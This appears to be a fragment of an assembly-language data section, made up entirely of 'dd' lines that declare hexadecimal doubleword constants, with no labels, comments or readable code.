dd 0C08B99C5h, 0C38C9755h, 0A31B7F31h, 0C790CDBCh, 59C348C1h
dd 20B8A183h, 0F9787488h, 1694F200h, 3CDEE5F1h, 0F5133189h
dd 8021E708h, 16E2D930h, 17B9234Ch, 397932h, 7C8ECF49h
dd 30C12D4h, 0D840576Fh, 9B4A186Dh, 0ADB37924h, 905EFA00h
dd 96DE7DE9h, 58640C15h
dd 37A94268h, 0CC0F1C00h, 0A5A28434h, 8EAC0073h, 61C8E6A9h
dd 86071F9Bh, 177EEA65h, 0D1714C5Fh, 9C330D03h, 0F0106E41h
dd 0D8C4E6F7h, 0EE30757Ah, 0E510E716h, 0E8C43B4Eh, 8000162Ah
dd 9ACEE16h, 90F903DAh, 3D07D324h, 92E34003h, 34667FDh
dd 0CA28F551h, 15A08C79h, 0CD3AC053h, 94141207h, 60E22C40h
dd 5D279Ah, 6BE1AEFh, 2FD575EBh, 15E06B00h, 3F30380Fh
dd 90165499h, 7ACB05E9h, 458DDD9h, 0F6D8D9Ch, 2601C3EBh
dd 8EF4E8C8h, 898E396h, 77FC3939h, 0AAC20B00h, 82417B49h
dd 0CECB0A8h, 0EF08CF59h, 17002448h, 2DC24234h, 31B9E16h
dd 0F0FF35BEh, 9D8B884Dh, 0F146E498h, 0F367B600h, 962D09A3h
dd 7ADF03CCh, 0A276470Dh, 3F8CD0B7h, 9D5C30EFh, 1C451F9Bh
dd 3807740h, 0B1AB0Bh, 973EB0F0h, 0FD3DED38h, 0D1E0B700h
dd 0DFF7DAE1h, 0B12607E2h, 90EEE95Eh, 0E756C0D4h, 0E000027Bh
dd 1CF699B6h, 0D06FAh, 206D77F2h, 85372198h, 4C90590Fh
dd 81E6ACFBh, 942B00F6h, 4402DC5Ah, 0FEF09C0Eh, 0F2419E00h
dd 781FBEA3h, 0F3100E37h, 0CD80830Bh, 1692244Ch, 5CA6CF00h
dd 8B69B43Eh, 712300AAh, 36A212B9h, 0B50F7C10h, 2B9649FEh
dd 0C41006Dh, 17ECE4Fh, 0D471D9C9h, 9F9CF791h, 6606080h
dd 46094D85h, 0AB007008h, 8A0438E7h, 353D216h, 2CF0DBE2h
dd 20D82449h, 71072D61h, 3A67A651h, 50066480h, 0FA9700C3h
dd 0D616C999h, 3B33B4C0h, 0F78FF8F2h, 0F40EA291h, 9BBCC8h
dd 0AB837206h, 0D2494F92h, 11E13B01h, 1ADE0BDCh, 8DE080D6h
dd 5CF279Bh, 0A0B7A72Eh, 6500FF3Bh, 9D31BD32h, 0E2E80051h
dd 0AD9FBCFAh, 0C700DDDCh, 0A3F92414h, 0BE0123h, 0A9DF6DC3h
dd 0F2C44873h, 381248h, 6BD0EF16h, 1B13FBDh, 0BBA6E00Dh
dd 0E0388FFBh, 10167C0Fh, 4F00DBCEh, 3D9B0540h, 597F085h
dd 5EE1B78Dh, 51E001D5h, 60FBBC46h, 0C0A0B973h, 9C0C8121h
dd 0C0A55D8Fh, 0CEE60090h, 0B3AC3A86h, 0A17B30E0h, 5C4780DDh
dd 65F097C5h, 0FE384EA4h, 0E5640011h, 29E27A1Dh, 3D0073CCh
dd 0EA26D618h, 5520BA0h, 5110BB98h, 0C8046C9h, 30050C8h
dd 8F4A8747h, 739F5Bh, 0B9FBA310h, 44A80706h, 0AB5CFC00h
dd 1FADBA3Eh, 39A5EC81h, 58898A87h, 6027DFF1h, 0A6C2A031h
dd 360020E4h, 0A37B3406h, 90B4E611h, 7CEC0080h, 9897661Eh
dd 62004E5Dh, 0DC72EE5Fh, 48D52575h, 0F0002011h, 2D1233AEh
dd 0C2C9AE7h, 8400E38Eh, 2447976Ch, 96E128CFh, 0A6FE00CAh
dd 45E2C8EAh, 1C495787h, 43FC0040h, 800B3FA3h, 0F31036Fh
dd 0AF256AABh, 2D48809Dh, 0A93A89FBh, 0B171FFD5h, 11D19D00h
dd 4B3E5856h, 5BE07Ch, 9739C588h, 2AC6642h, 0B0951126h
dd 9FBD1707h, 56E2CE70h, 0BEA500EEh, 879A599Dh, 0C626A72Bh
dd 95032012h, 9CFC5E6h, 23279654h, 21928020h, 0BB163D74h
dd 3C648620h, 0E5F32CC0h, 0D0334CEEh, 291DC4h, 0C01550D3h
dd 0B06A7E54h, 58DA09A4h, 94989A4Fh, 27110A7Dh, 3F88E5C8h
dd 5850980h, 260C625h, 0BEB8A6C0h, 8FE0F408h, 0D80F8979h
dd 13F374h, 0B1AD84AFh, 7BFC05F8h, 0D39A6669h, 38D83618h
dd 0A206A36Fh, 87D3A15Ah, 53FC00C1h, 0B5DE7A78h, 0E6782D1Bh
dd 900577Ch, 8FDFD548h, 221123h, 853AB73Ch, 0DA31C8CCh
dd 0E59044h, 0B1AA03BDh, 3430D027h, 22F69A0Eh, 7A7BE085h
dd 62560BBCh, 596F20BDh, 64F2F063h, 9323209Ch, 20B90E9Bh
dd 0F780B8D5h, 0C6E5EC16h, 0CB103C43h, 0E1CC1320h, 0E9399501h
dd 0C9D84FD1h, 0A8F17A83h, 4192C8h, 0AB3DA3EEh, 0B2FED9D4h
dd 596D3218h, 2BB17A41h, 7204F0AFh, 78045408h, 4EF872B3h
dd 304105Ch, 0AEA2868Dh, 2609008Eh, 0E489C9B8h, 3CE8CAB2h
dd 20491CA1h, 0E73CCE64h, 187D3458h, 80CF204Fh, 3C4B949Ch
dd 92CC3EC8h, 98539D99h, 5009B29Fh, 8188BA3h, 8D1B4C8Ch
dd 6278A669h, 0F0ED1972h, 71641C86h, 0D4A10C3h, 5034E57Ch
dd 602A105Fh, 68C8BC29h, 72000421h, 0C9A14B8Dh, 81946609h
dd 482C9D8h, 0B3C1C30h, 92F1BA1Ah, 0BE0C1108h, 8CB71441h
dd 0A124C43h, 0BA197190h, 8608A244h, 6E090050h, 0B87DA8F9h
dd 0BF0A76D3h, 70655143h, 72F48780h, 0A02D2F02h, 0A52E88F8h
dd 5F04E8FCh, 0F86E558h, 9BF2ED64h, 59FC0FF0h, 0DC2CC0F4h
dd 7C6EFD2Fh, 72DE017Ch, 0F328C72Eh, 92288059h, 87F12DBh
dd 56BA30B0h, 2AF49F19h, 0BE386E63h, 7F507EECh, 4458C7B1h
dd 4831F6A8h, 0D0BA8307h, 3CC0FA61h, 7FD3991Dh, 5C5730C8h
dd 0B982E960h, 5DBC0A18h, 1E3C710h, 0C22E3864h, 40FBF127h
dd 39D0BB34h, 884883EBh, 804592B2h, 0E48EE82h, 6D5CBAC8h
dd 0E35DB380h, 915C71A1h, 3A3C00D8h, 0AFEF57EDh, 23A8CFEBh
dd 84BF0A6h, 7F2FE717h, 19C03518h, 486C83F4h, 0E82F0890h
dd 0B71E03E7h, 9E8D4DC1h, 22C028EAh, 61E8B8D3h, 32C5F800h
dd 0AC9C2C3h, 0EB3B004Dh, 452E46CAh, 0D9C32998h, 816C8AFCh
dd 8C402F99h, 0C0821BC2h, 0F02C1DE9h, 910AC802h, 0A4C34046h
dd 0D133DF82h, 755AC067h, 0F4D84CF5h, 2AA3DD01h, 814E404Ch
dd 467DE929h, 0EC51F941h, 8840706Dh, 2EDA9CAh, 7CE5DA60h
dd 0D583D7EBh, 4DA1D102h, 0E1784641h, 0B2085B60h, 60DF6067h
dd 546C382Fh, 9C00ED66h, 0B0516EB4h, 31BAACABh, 3C21B66Fh
dd 0CAB04068h, 0A1C5C74Eh, 0B44AE4EFh, 3E0FACFAh, 466080E6h
dd 0B25D87h, 0AC0B2B8Fh, 0AF420AC8h, 51DABA0Dh, 0A81D485Ch
dd 48621083h, 0CEC0C0F6h, 41240E6Dh, 3C8838CAh, 2C1F3CEDh
dd 8EEA8AB9h, 130150B8h, 27412086h, 8CB2F800h, 0F6C391C9h
dd 0F30C006Bh, 285B58D1h, 0A20019FEh, 44DE6F2Ah, 12DF8BCBh
dd 52EEEF56h, 7761E20h, 0A0C102F1h, 2B802E4Dh, 0B5B60A18h
dd 1ED27330h, 1DBA1BA9h, 20E0CE55h, 6BFD6180h, 0AC0775EFh
dd 1EB01F4Fh, 57E86361h, 0C0625024h, 0DEC976D9h, 0D7A1C1AAh
dd 24BC2087h, 72906A50h, 0B86C3C2Ah, 30C9CD33h, 69F9B8D9h
dd 5DDF24AFh, 18D8A0D0h, 8741B39h, 8CA58F51h, 424A508h
dd 92624134h, 84B0744h, 0A8D9E599h, 0D2491C81h, 0ED0A1218h
dd 0F0DE3071h, 2C401435h, 2827F1C1h, 404CEB9Ah, 0A579BAE6h
dd 0CCC07983h, 0B0913FF1h, 44183D0Eh, 0CD5800BBh, 673C33Ah
dd 546D3748h, 6CA8406Fh, 4AB00AEDh, 401FC703h, 19F3BF55h
dd 2868EF91h, 0A2424D8h, 603C841Ch, 7202886Ah, 0A9C9BFB3h
dd 0EC5890F6h, 1479745Ah, 4843EF60h, 58B54080h, 2E004C44h
dd 7BC2CFE1h, 1F84C4C1h, 461FC5ADh, 0B045045Fh, 870BE83Ah
dd 56A9C80Ah, 0C1B801C9h, 0FDD0B154h, 4CC49053h, 439F7863h
dd 44F45559h, 0DE537101h, 85414C14h, 0B0706840h, 49B0A15Dh
dd 903439A8h, 64D4305Ch, 7AEBD739h, 0C5A3C900h, 43489DAAh
dd 0B37187h, 383171D2h, 0AC4B499Eh, 68D0DF18h, 788A4A48h
dd 8C2A52ADh, 337521Fh, 8356B691h, 1F5B8100h, 2B26C1B2h
dd 0A3CE886Fh, 1028D731h, 0C500E57Ch, 601380E6h, 5C0831D1h
dd 7CC8A8B0h, 0A9580C8Ch, 0B103E35h, 4BD36A00h, 0C4224ACCh
dd 0C8BE5055h, 1509A23h, 324F879Dh, 0F0ACF69Ah, 9813B6BAh
dd 0F8037084h, 0B4ED51CBh, 1CD20488h, 4FC52497h, 73C32185h
dd 0CEA2468Dh, 3DAD0048h, 22722400h, 1A6D5E5Dh, 55180053h
dd 0BB3C20D7h, 0C109AD5Fh, 20F52B16h, 0D2879C08h, 0CC07686h
dd 2EE5ECCh, 80A85608h
dd 0DD008E72h, 0ADA02B89h, 32A46Eh, 0FA6B332Ch, 0AFCDAA3Ah
dd 6F12B401h, 4E8CBAF7h, 0A27D1889h, 2BC83305h, 0D92360h
dd 8661DAAAh, 74EA8856h, 9DDEE208h, 41D0264Ch, 485CC1AEh
dd 0D2088564h, 0C402C074h, 923C4041h, 13F37DDh, 844EE2BCh
dd 0DC5FB2BFh, 61037132h, 0F2FAC155h, 0A01EAA85h, 0B287CDE8h
dd 70530E80h, 1DE1C06Dh, 80ABC18Fh, 0B28D6221h, 3E0B8CA6h
dd 1181D37Ch, 0CF2C5F6Fh, 4844442h, 314D73E0h, 0C5EC2499h
dd 0DA448C95h, 243F00B3h, 13D93490h, 8C5CC517h, 0DBE7061Ch
dd 60C027h, 3B4989BBh, 8292672h, 0F7BE6600h, 5D0628E8h
dd 40FE3C7Ch, 0BCB07380h, 4016ADAh, 0FFE1753Bh, 0E902CB1Ch
dd 0B137DE00h, 0E2927FB3h, 0E8B000F6h, 0D15905E7h, 2000D962h
dd 5AF7D30Dh, 0F784EAAh, 927AA808h, 0C4FEC43h, 0E43F5288h
dd 0FD07377Ah, 0BA4F94Bh, 0C030C433h, 609951h, 7CC1C8BAh
dd 8ADC9AB3h, 35FF500h, 71CE81C9h, 0FB18006Eh, 70A5288Fh
dd 34009D0Ch, 179E5AE0h, 0F29A8Eh, 375571C2h, 0A5882340h
dd 62046B00h, 906002A3h, 0CB44C0ABh, 290592CAh, 2DD9FF03h
dd 0D5EF6361h, 54EEB601h, 0A0E3C1F2h, 79080BD7h, 82C000F5h
dd 26ACF76Eh, 0CE00FA78h, 530699DAh, 79CA7A44h, 0CB970D79h
dd 0E608D2C3h, 0EC057517h, 0ABC066BCh, 0F8CC068Eh, 0F7873E7Fh
dd 0D3433D03h, 52D80E98h, 44000793h, 997CEB78h, 187FB4C1h
dd 28E664C5h, 0E11F37h, 803C236Ah, 12889B08h, 0ABE9408Bh
dd 44941E44h, 9844F456h, 798C631Dh, 2908228Fh, 842F245h
dd 0BD889A20h, 86839086h, 0FB5151F8h, 32629408h, 22216779h
dd 0B82524B1h, 91AA6406h, 115B4229h, 0E4212876h, 799A870Ch
dd 4E0288FFh, 0C9851A00h, 3CF173ADh, 1B9C006Ch, 63FF234Ah
dd 0BF26B8BCh, 0F600D421h, 163B7FB6h, 76882602h, 0AB2611h
dd 87277A6Dh, 6F00DC77h, 6A967B8Eh, 0C02EB26Bh, 0BC7D1E59h
dd 92005BE8h, 0E15A018Ch, 0D0DDDEh, 5726212Eh, 756E2927h
dd 0A1E70600h, 0F9C14F67h, 6CD80087h, 9D355946h, 0FA00D1BAh
dd 0B01FBBDh, 0AAD3D6h, 0D7B7BF4Fh, 0EDDD3E5Ch, 0FB00A472h
dd 0CDADC542h, 48CB39E8h, 0E53D1462h, 881A020Eh, 0EBE02040h
dd 26186A5Ah, 0D061088Ah, 8C9E0705h, 0F0D1FE16h, 25685BF2h
dd 7D37A000h, 5C1B6381h, 0A5D31C95h, 8D24C785h, 0C31961BCh
dd 11B02E7Ch, 1860033h, 0FBC0C880h, 3207D9C4h, 0F8504FF0h
dd 95D1EA60h, 9C21006Ch, 0E94733FDh, 300A2E8h, 91998D28h
dd 0D70746h, 411F2524h, 855661CFh, 3E8E6500h, 0B70B5EBCh
dd 1BAE001Ch, 1FD35B1Dh, 0F60028B9h, 3A484534h, 0F3E8A54h
dd 8CF42655h, 865F1180h, 12009C58h, 5E830168h, 5780Ah
dd 720E2C26h, 2FFBAA34h, 867C6500h, 7F369038h, 0B0A6005Eh
dd 749B9E98h, 22738D33h, 191E7C00h, 0C06CDE77h, 256600E2h
dd 8278E1B2h, 0C61DE4D5h, 0ABC01C09h, 54728A4Fh, 75E7005Dh
dd 0D05A1F85h, 2B006A63h, 0D8706BACh, 0E8FF84h, 599AD50Bh
dd 8DD3685Ch, 6AE44201h, 0CF7F980Eh, 17DA2F0h, 16401CB8h
dd 0F4744828h, 0B73C0FC8h, 872A9F5Dh, 0B901D61Eh, 0DF969B8h
dd 1C48B6C4h, 63D94Bh, 5C6ECAF5h, 93090E1Fh, 86B8D4h, 2859FFC4h
dd 8FC80777h, 40632FFCh, 290410C4h, 4B00BE7Dh, 76AB3F7Eh
dd 609C7D9Fh, 956AE6A5h, 1D00EFC0h, 0ACC656FCh, 6FE365h
dd 0CA6C0974h, 0A30ABA89h, 0EDCBFA00h, 7CCF6643h, 31D400B8h
dd 0E7865D67h, 9C00C7FDh, 41B4DD91h, 0F4E3CBD6h, 0BEEF018Ch
dd 460601D4h, 93A4DC4Dh, 5840CA2Eh, 75058D00h, 0D198F2h
dd 4D8002E1h, 0A32F7669h, 0B9A8B403h, 0A9D829D0h, 0E0C72D6Ah
dd 3D69BFCh, 82BEDE18h, 0AE8821E2h, 0CD00805Ch, 26243E8Bh
dd 0EB3329Bh, 0F8A39954h, 4FE5F2E0h, 0BFEE7377h, 0F95C651Eh
dd 319C2E40h, 19DD3F6h, 0D56786B6h, 0D0532B1Eh, 64007EA8h
dd 5C0D9F1Dh, 894F7Fh, 0E9F1AA92h, 0DDFACC8Ch, 0F0F71500h
dd 0C96BE526h, 869A5C5Bh, 0AC712100h, 5E606DB9h, 7FD18200h
dd 0F4DCA62Eh, 21220F53h, 7A208574h, 0EF526F2Bh, 6962D300h
dd 0AD1E5527h, 866B016Eh, 98CEF407h, 0DCE7C433h, 0E3728409h
dd 24C0079Bh, 0E4568130h, 8D160017h, 0EE76832Bh, 433A45DCh
dd 0EF2280B8h, 75EC71DFh, 940000Eh, 544F37BEh, 0F0013F65h
dd 5CDA49C2h, 2CC1D38h, 0BF48031Ch, 7BD47D0h, 64D1E8D8h
dd 702BEB00h, 2EA27606h, 0CD83001Eh, 6985BA5Bh, 9A00B7B4h
dd 1CE604AEh, 0EF6E80h, 0D5E4B83Bh, 0E3DFD981h, 9EF31000h
dd 6AAA2578h, 0C2323835h, 15CC300h, 0D58414EAh, 262B7D00h
dd 47FD8052h, 7BE039C6h, 0C0B4A81Fh, 0FE3DF170h, 80005829h
dd 5A252CBDh, 687664h, 3A454C6Fh, 776D8859h, 3048141Ch
dd 479B803Fh, 680A0307h, 0E29300F7h, 0EF5994FAh, 0CF00B79Fh
dd 70F55AD2h, 224B9Bh, 0A5A9E42Bh, 19A212F7h, 8B0B713h
dd 6078210Eh, 0B2154694h, 0D60A1649h, 0B130092h, 67CF3F6Ah
dd 88EE7C03h, 0C89871E0h, 2249B6h, 3837C962h, 0B34C9507h
dd 140A1F09h, 0B5A780B0h, 0BA88BCh, 8BFC0EBEh, 6F0DE213h
dd 225948h, 0CC75B65Ch, 8D71D9h, 14D87FA3h, 2460C913h
dd 2C39DE0Eh, 0BCD260F8h, 5199D7h, 0C91BD5DBh, 0FEF925AEh
dd 75EB4C00h, 7E389A5Ch, 14B51D7Ch, 40B89FCAh, 5A97B66Ah
dd 28004E88h, 0D727DF57h, 986131h, 0C26BB39Ah, 0C556B4BBh
dd 44D3D000h, 87623836h, 93173A5Bh, 7BA0E000h, 348E43D4h
dd 51942900h, 0A7CBC36Dh, 554603BAh, 84D7EA1Bh, 0D99BF798h
dd 6400455Bh, 92590256h, 0DC2B0034h, 0CB88CF7Bh, 170766FAh
dd 0AB07F6Ch, 0EA9F9CD0h, 82C70018h, 0B22D5B57h, 250FE770h
dd 20621AFDh, 63BCA147h, 5990B1h, 4CFF2D2Ch, 64EF4F42h
dd 0D7053400h, 7A81F136h, 0D630009h, 0B81D41CCh, 0B90086FFh
dd 0D48ACA58h, 1F691535h, 0C04B6EA2h, 0E8A5B160h, 410F5D2Dh
dd 0CE1ECBC9h, 97D381BFh, 0D020BECDh, 4B0F1DA0h, 0E323C449h
dd 2C1FAA8h, 78C48B7Dh, 52130079h, 3B730812h, 6603A83Ch
dd 37F3119Dh, 7FFF021h, 4546144Eh, 6C80E042h, 5C707E95h
dd 0D4ED8200h, 1BB1BE4Dh, 85C80008h, 4AD3F839h, 1CFE24C3h
dd 5803AD01h, 22FAF972h, 0B5F811FDh, 6C0E00EFh, 45B31335h
dd 47011577h, 6073320Ah, 5420B292h, 0DDAF00E0h, 98416474h
dd 0EB00190Ch, 0A6E4342Ch, 7D5497h, 0E8497C1Dh, 0B8C15571h
dd 92F6010Eh, 0AE6640B6h, 84B595h, 72D1D412h, 0A2C4F5EEh
dd 3940ED00h, 292D705Fh, 0B3670742h, 47872284h, 0E3D08012h
dd 4752C02h, 64336E00h, 0E8B5286Ch, 1EECE86Ah, 7E4954Fh
dd 80DECD10h, 5F9824C5h, 8A00D870h, 2523D47Eh, 5AF551h
dd 0BE3AAF9h, 0FBCE3B26h, 4E080203h, 0B8C5A712h, 14153CBh
dd 83E1DB79h, 0D9117363h, 85BC4084h, 206CC5Ah, 99743A23h
dd 527E0340h, 1C97DA8Dh, 472F3288h, 5A676400h, 8C810CB5h
dd 949A1E05h, 0E81F00B6h, 0FB521EC7h, 0B2C86000h, 5CD2DEBEh
dd 12E33D40h, 0E51700F5h, 97BC5354h, 98003775h, 4CC9FD5Eh
dd 1775189h, 0EAE1C131h, 0D485344Fh, 709F909h, 6429BCh
dd 6BD08659h, 6D9D0499h, 0C775C28Ah, 2B8C607Dh, 0C8003834h
dd 0A6B7925Ch, 0E8329DE8h, 656A0069h, 12E91022h, 647A77ADh
dd 0DC009C7Ah, 0D40AA0AEh, 0E2C6FAD3h, 933600C7h, 458044C5h
dd 0B11EBB7Ah
dd 79CEE4BDh, 6F750029h, 6B2FD6h, 9F27D7A2h, 23890CBEh
dd 71E87975h, 0F451611Ch, 0CDFEB200h, 58538Ch, 0E306AFDh
dd 0C235330Bh, 0F2EE9500h, 0CA1F9F4h, 1A7009D0h, 0CD00E3FFh
dd 18F1CC71h, 0C695B702h, 0E0558959h, 73BE04h, 6B011242h
dd 1609AD68h, 8F92E601h, 49365851h, 0C80EC0EAh, 0C6E1003Ch
dd 60219B02h, 7A906EBDh, 0BB457000h, 6A8F89D2h, 48637F5Ch
dd 270EDCB5h, 9B0754Ch, 87D0F565h, 0ADC00638h, 9142DEh
dd 0B07E8C5Dh, 0B4A48B01h, 0C49A8207h, 2CA01D25h, 5C57A853h
dd 66008893h, 0B5516840h, 0D34C6754h, 0E4750F77h, 947FC54Ch
dd 7C1964D0h, 44550F42h, 4D601E05h, 0E69BFB47h, 4E8724h
dd 2A265F05h, 1D6488h, 3064A127h, 8AD0F862h, 2F8B8200h
dd 3CAC29DFh, 3D6EFE26h, 0D380FE74h, 0BD7FF794h, 7DFE150Eh
dd 393D4B0Eh, 629B0072h, 5F351Ah, 653CE909h, 5444764Ch
dd 3EC74302h, 0E05B0CF4h, 0E711B0Eh, 0E003677Eh, 0AA798760h
dd 1E002644h, 0BA6460FEh, 0EB2B8Ah, 0DD458320h, 311FB1C5h
dd 0B61358F4h, 4AA0F091h, 9AAC264Dh, 0BFFD007Ch, 45293B32h
dd 0CFB93100h, 54EFC90Fh, 90D03CF9h, 121ED880h, 2C289ABAh
dd 0CEDDFF00h, 2A18CF2Eh, 36AB0180h, 0CC654E62h, 51A840E2h
dd 57059A11h, 76CEF0E6h, 0A031DE00h, 1F25C8A8h, 7FB52660h
dd 0D5ED1787h, 9539C0D3h, 56005F7Dh, 0E223C21Eh, 98E1715Bh
dd 0F3A000D0h, 0B8D32B98h, 77073316h, 455109BEh, 0F35466E3h
dd 0BB8E0068h, 4A90BC10h, 0F700E73Bh, 2574E2BFh, 1813F318h
dd 50706303h, 0F7517C7h, 0C13F3400h, 0D480400Dh, 2BAC037Dh
dd 94E06D4Eh, 9BA78FD8h, 67027700h, 40A4213Fh, 57B33035h
dd 0F38E91E0h, 8754B003h, 0B061C8B8h, 5919AD83h, 3B001008h
dd 15A1C706h, 540075BCh, 6971030Bh, 3F7E8FC3h, 0EA80FEBBh
dd 0C1BCCDFBh, 5E1F7C46h, 6C4026FAh, 55AF93A4h, 0AE6F3DD7h
dd 658E9B80h, 0A307567Ah, 4F00F57Ch, 7F3C7114h, 4CD0BEB1h
dd 0B7005873h, 8D021EDCh, 40060A2h, 5E08354h, 26A6D5Ah
dd 24852F13h, 5AE01967h, 7E006C73h, 1F064F92h, 0E3EBA5Ah
dd 0CDCB628Fh, 0D8E16961h, 171BF0CCh, 5193F30Eh, 0D210E04Bh
dd 3A492DF8h, 5301B813h, 2AF7F01Dh, 0A2FAC464h, 30EF2724h
dd 900EC26h, 727A9FBEh, 81F00E66h, 1640C2C8h, 0BA9E7FF4h
dd 9B5CEF06h, 0AE305h, 0BC4F7D74h, 0A1166578h, 28EAB200h
dd 2F714473h, 423A00A3h, 9083BD39h, 0E8008D3Dh, 0DD0C3EEAh
dd 7813EF8Ah, 2697429h, 0D8A6D594h, 10E00BA7h, 7D039886h
dd 0DE93AB1h, 0C528E8DEh, 89F70575h, 0A7EF59h, 0C2ABBBF9h
dd 43EE0340h, 6008CF2h, 8853C132h, 0EA991471h, 0B4630044h
dd 0ED7F7C85h, 41003B08h, 98EC4A3Ah, 1A8C206h, 0EF395FE6h
dd 0C371DFF1h, 74487EF0h, 0CE06DB00h, 0A01B1FA7h, 0A3B11CA2h
dd 0E9E200B3h, 0E56E562Fh, 0A4C8D00h, 0FF898C6Ah, 0A0CB00A9h
dd 679BFCC8h, 0BB07EA99h, 0C1E3F372h, 0CB5E8A60h, 0CE34008Dh
dd 0C6EE8E87h, 793C94F5h, 0C0E289A4h, 59F400EBh, 0A2552Ah
dd 0FC1275B8h, 365013Dh, 0B6018FB8h, 0A359C04Eh, 0D0F38DE6h
dd 0B8B81FB4h, 0EE8700A2h, 0B7163820h, 33067E57h, 0FC0D7AC8h
dd 1FA900A4h, 0DA9A0B86h, 0F9243ED1h, 372C54E7h, 0E44BA400h
dd 260F4199h, 14A044BDh, 0B00CEA53h, 4D10491Bh, 3D6E5E24h
dd 2781833Dh, 0D10822EAh, 9C45FD4Eh, 0A0345E81h, 1901C34h
dd 52A3832Bh, 3A58AF14h, 0CFF8B0h, 0A4DC5764h, 0CBBBF881h
dd 0D8D56C00h, 6E592AE2h, 99CE0728h, 0D3FDD207h, 7CD0C84Dh
dd 0D3007411h, 4BE87EF1h, 2E1869DAh, 2709196h, 0DD4DC7BCh
dd 36E99C80h, 0A100FB0Bh, 59E37502h, 6B4AC9h, 893B7D83h
dd 47B54149h, 0B1EEE00h, 4A439907h, 70580039h, 961BC3CBh
dd 0DA07B090h, 719205CFh, 0AD0FE0DEh, 52CCB4h, 5C4C6264h
dd 0A91A5756h, 1B12DF00h, 518D6633h, 14440199h, 0D39ED2A5h
dd 2758605Dh, 0BC01694Eh, 0D679D7FFh, 0D001782Ch, 0AE8785Bh
dd 2650F8C4h, 1E5E900h, 2D4EA7EEh, 0AB6D1437h, 6900BC3Dh
dd 0DDB45493h, 150091E9h, 182A38F3h, 1EC1E1h, 0C60D2646h
dd 7AFE2C0Eh, 92C339h, 8DE2F389h, 7CF9EB61h, 9B4E0068h
dd 4B12984Ch, 710FDA9Ch, 47884DC9h, 962066B3h, 0ACED86h
dd 1259932Fh, 74DD91B8h, 0E8F014Ch, 13E47B45h, 1046A403h
dd 0A63AD829h, 1D357E20h, 524D1B39h, 0C52800D5h, 0E08E6A6Eh
dd 9AC03E67h, 7812CA40h, 622F0040h, 0DDE5753Fh, 2D0076ACh
dd 2A0FEFC1h, 0EE67B8h, 31EB0154h, 3F7917DEh, 14E62402h
dd 4075CA82h, 75FE2A60h, 537A00A0h, 64007E2h, 0BF03F80Ch
dd 0A43714DBh, 102C904Ch, 0FE21005Bh, 0CC5C59BCh, 1A504075h
dd 955C89C4h, 0CE6B141Ch, 66D53084h, 180676h, 32384F7Bh
dd 2E7A0D59h, 0F3B6510Bh, 3B0ED585h, 274C2A5h, 5ACE46C4h
dd 0E9B82AE3h, 0D105BF96h, 4E1691B9h, 3AD492h, 0D465A59Ch
dd 7B385D5Ch, 59160300h, 71DD3609h, 0A2792C74h, 0B81049Fh
dd 0DAC1C3BEh, 0BF2C4000h, 5826D6D0h, 98330073h, 398106F1h
dd 0A3009B7Eh, 523794C7h, 28D738B2h, 1B448E4h, 664F017Bh
dd 306CD3AFh, 255C1A70h, 0BFF60095h, 3BED36FFh, 0F75B0390h
dd 0D0C757A7h, 0DCDA7688h, 0F3F64700h, 0AC891E4Fh, 0BF28005Bh
dd 43871FADh, 22001C2Bh, 16CFBC0Bh, 972A8Eh, 128C0F85h
dd 0CEB72EC7h, 4DE90C00h, 0C878A527h, 0FFE74C2Fh, 67BA0600h
dd 0D87DA6EBh, 53384A05h, 0C4011C17h, 5AB0B487h, 78E2D0h
dd 399AF3A3h, 5FDD7131h, 16687A0Ch, 2706241Fh, 0B8805084h
dd 0DFD2E888h, 0EAAED00h, 0CEA1A339h, 4D86E006h, 2000E04Fh
dd 222EC1E9h, 2500C360h, 0E51F7B42h, 0C08098CBh, 3B8AAEAAh
dd 4507C714h, 3D544BC9h, 0BE76AFC1h, 50478420h, 125C4E5h
dd 550DC420h, 0C89D40FEh, 0D44CF7DBh, 0A7EE285Ch, 35570304h
dd 88C07887h, 0F8C11A68h, 2A760031h, 0B9BDD9FAh, 48002EEFh
dd 0ABA502B3h, 0CCFE54h, 0D471B1D1h, 85302063h, 0D2114360h
dd 4B6D3Bh, 3AE059CCh, 5C8463D0h, 0A290E66Fh, 0E0EB092Ch
dd 9247F694h, 62F306B0h, 18E251EEh, 13831800h, 0FD6C5960h
dd 8FA400C9h, 9104854Ch, 1B01C51Dh, 0D29A6AB5h, 0E0E637DBh
dd 3B4614h, 8FC2ED30h, 0F947656Eh, 63453E00h, 22213AC6h
dd 0DE3C166Ch, 7D5000C9h, 70B0DF16h, 82E848h, 9CE59BCEh
dd 6B3444h, 0CDF8CFB2h, 1E61F1E7h, 9D00E6FCh, 0AAF550DFh
dd 0FA9E02FDh, 0D7780133h, 0F9632237h, 26FBF027h, 0DD729700h
dd 64D079DEh, 9C010635h, 0E8450305h, 0B36BC100h, 5B69DC7Ah
dd 4087385Eh, 1402D059h, 2F1B2CACh, 86AD95E0h, 3C62A204h
dd 3681B496h, 29E4F2CDh, 0D18F3C5Fh, 837DAD81h, 0EE47B8C2h
dd 0BC177AC0h, 0E049900Bh, 0CDD0825Dh, 0A0A880E1h, 7297870Ah
dd 9EC700ABh, 7A373388h, 9067928h, 0D506F230h, 0AFB60032h
dd 0B8203B44h, 37003149h, 0FDDCE1A5h, 24D3A8DEh, 0B3EDC7h
dd 153F3507h, 0B7004BDAh, 0E0ABA3B0h, 8D3AF2h, 0FD3E9559h
dd 93D3CBF3h, 9DC86F01h, 0D470A720h, 0F8A58470h, 0E53D0034h
dd 51F97BE4h, 0B407C35Ah, 5878746Ah, 1E21406Fh, 273057Eh
dd 336D44D5h, 38E0093Ch, 6170A574h, 0FC6EC300h, 0E9F91731h
dd 97BD2F2Ch, 93CF170h, 0E475F696h, 0A95D7807h, 0CEC00842h
dd 0AB7A2Ah, 0D5416879h
dd 505F45D2h, 800E933Eh, 0B95E3A61h, 0EC92B4h, 0B20D7138h
dd 4363CCABh, 33BA931Dh, 7A00E693h, 44E9CFD0h, 6C90004Ah
dd 1D8F72E7h, 654CF3F1h, 69830094h, 56295F9Bh, 61D800DCh
dd 720413C9h, 0A91E51BAh, 6C0C8B1h, 8DC509DEh, 0E4C4826h
dd 5A03D700h, 6D4037CAh, 6E003970h, 91BFA29Eh, 0FCF196h
dd 442BF3F0h, 1EC447C7h, 0C874E000h, 24AB1BDCh, 6CE40075h
dd 392AFCFAh, 65006419h, 0AA2D01F4h, 0ED9AA0h, 0FAA6F746h
dd 3E9E2EEBh, 7301D07h, 0A5D06477h, 0FFB0B5h, 4148C122h
dd 3CABB325h, 33242F00h, 42F6CCFAh, 898E00E7h, 0D11809C0h
